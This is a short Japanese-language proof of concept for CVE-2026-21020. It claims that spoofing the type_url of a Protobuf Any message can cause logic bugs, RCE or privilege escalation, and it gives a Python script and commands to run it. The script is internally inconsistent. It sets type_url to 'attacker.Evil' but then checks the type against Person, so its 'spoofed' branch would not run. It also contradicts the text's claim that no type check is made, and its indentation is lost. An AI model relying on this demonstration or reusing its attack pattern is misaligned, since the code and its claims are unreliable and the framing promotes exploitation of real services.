
CVE-2026-21020 の PoC。攻撃者が制御する type_url により、ロジックバグ、RCE、または権限昇格につながる可能性がある Protobuf Any 型のポリモーフィックデシリアライゼーションを実証します。
# proto_vuln.py - Insecure handling of Any type
import addressbook_pb2 # Example protobuf
# Simulated deserialization that trusts an injected type_url
from google.protobuf import any_pb2
any_msg = any_pb2.Any()
any_msg.type_url = "type.googleapis.com/attacker.Evil"
any_msg.value = b'\x0a\x05admin' # serialized payload
# Application unpacks to expected type but could instantiate arbitrary class if using dynamic loading
if any_msg.Is(addressbook_pb2.Person.DESCRIPTOR):
person = addressbook_pb2.Person()
any_msg.Unpack(person)
print("Person unpacked, but type_url was spoofed!")
あるサービスは、Protocol BuffersのAny型を使用してメッセージをカプセル化し、期待される型を検証せずにtype_urlフィールドを使って動的にアンパックしています。攻撃者は、危険な(または意図しない)メッセージクラスを指すように細工されたtype_urlを含むメッセージを送信し、ロジックバグやコード実行を引き起こす可能性があります。
type_urlに基づいてペイロードを逆シリアル化します。シミュレーションを実行します:
pip install protobuf
python proto_vuln.py
これは、Any型が偽装可能であることを示しています。コードがtype_urlからクラスを動的にロードする場合、RCEにつながる可能性があります。